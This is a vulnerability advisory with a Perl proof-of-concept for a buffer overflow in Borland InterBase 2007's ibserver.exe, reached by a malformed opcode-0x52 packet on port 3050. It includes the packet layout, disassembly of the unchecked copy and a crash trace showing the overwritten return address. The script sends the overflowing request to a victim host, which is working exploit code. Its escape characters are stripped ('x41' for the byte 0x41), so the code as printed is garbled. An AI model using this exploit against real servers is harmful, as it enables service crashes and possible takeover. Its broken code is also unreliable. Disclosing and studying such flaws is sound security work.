SecurityReason - Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC

Advisory Text :

Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC

Affected Software:
Borland InterBase 2007 Service Pack 2.
ibserver.exe version 8.0.0.123

Severity:
High

Summary:
There exists a vulnerability in Borland InterBase 2007.
The attacker who successfully exploited this vulnerability can gain
control of vulnerable systems.

Details:
There exists a buffer overflow vulnerability in "ibserver.exe" which is
contained in Borland InterBase 2007 Service Pack 2.

The vulnerable opcode is 0x52. When sending some malformed data as below
to TCP port 3050,
| 4bytes Opcode | "x00x00x00x52"
| 4bytes Unknow | "xFFxFFxFFxFF"
| 4bytes Length1 | "x00x00x03xE8"
| Data1 | "x41"x1000
| 4bytes Length2 | "x00x00x00x10"
| Data2 | "x42"x16

InterBase ibserver service will terminate and reboot. It results in the
return address be overwritten as following.
.text:0041460F mov ecx, [ebp+arg_4]
.text:00414612 xor edx, edx
.text:00414614 mov dx, [ecx]
.text:00414617 push edx
.text:00414618 mov eax, [ebp+arg_4]
.text:0041461B mov ecx, [eax+4]
.text:0041461E push ecx // |
Data1 | "x41"x1000
.text:0041461F mov edx, [ebp+arg_0]
.text:00414622 push edx
.text:00414623 mov eax, [ebp+arg_0]
.text:00414626 mov ecx, [eax+4]
.text:00414629 call dword ptr [ecx+8] //call
function 411136 (strcpy)

.text:00411136 push ebp
.text:00411137 mov ebp, esp
.text:00411139 push ecx
.text:0041113A push esi
.text:0041113B push edi
......
.text:00411157 mov ecx, [ebp+loop_count]
.text:0041115A mov eax, [ebp+recv_info_struct]
.text:0041115D mov esi, [eax+0Ch]
.text:00411160 mov edi, [ebp+arg_4]
.text:00411163 mov edx, ecx
.text:00411165 shr ecx, 2
.text:00411168 rep movsd
//copy data 1000 bytes 0x41,without
boundary check
//Buffer overflow take place
.text:0041116A mov ecx, edx
.text:0041116C and ecx, 3
.text:0041116F rep movsb

:stack
FrameEBP RetEIP Syms Symbol
013AF5EC 41414141 N ibserver!.text + 00026F68

How to Reproduce:
Run the POC as below:
poc.pl victimAddress

Discovered by:
Liu Zhen Hua

########################################################################
#######################################
# POC.pl
#
########################################################################
#######################################
#!/usr/bin/perl -w
#Author: Liu Zhen Hua <alau [at] 163.com>

use IO::Socket;
use strict;
my $host=$ARGV[0];
sub usage {
print "usage: perl poc.pl serveripn";
}
if ($#ARGV < 0) {
usage();
exit();
}
my $victim = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$host,
PeerPort=>3050);
my $pad0 = "x41"x1000; #"x00x00x03xE8"
my $pad5 = "x43"x16;
my $exploit = "x00x00x00x52xFFxFFxFFxFFx00x00x03xE8".$pad0."x00x00x00x
10".$pad5;
print $victim $exploit ;
print " + Malicious request sent ...n";
sleep(1);
print "Done.n";
close($victim);
exit;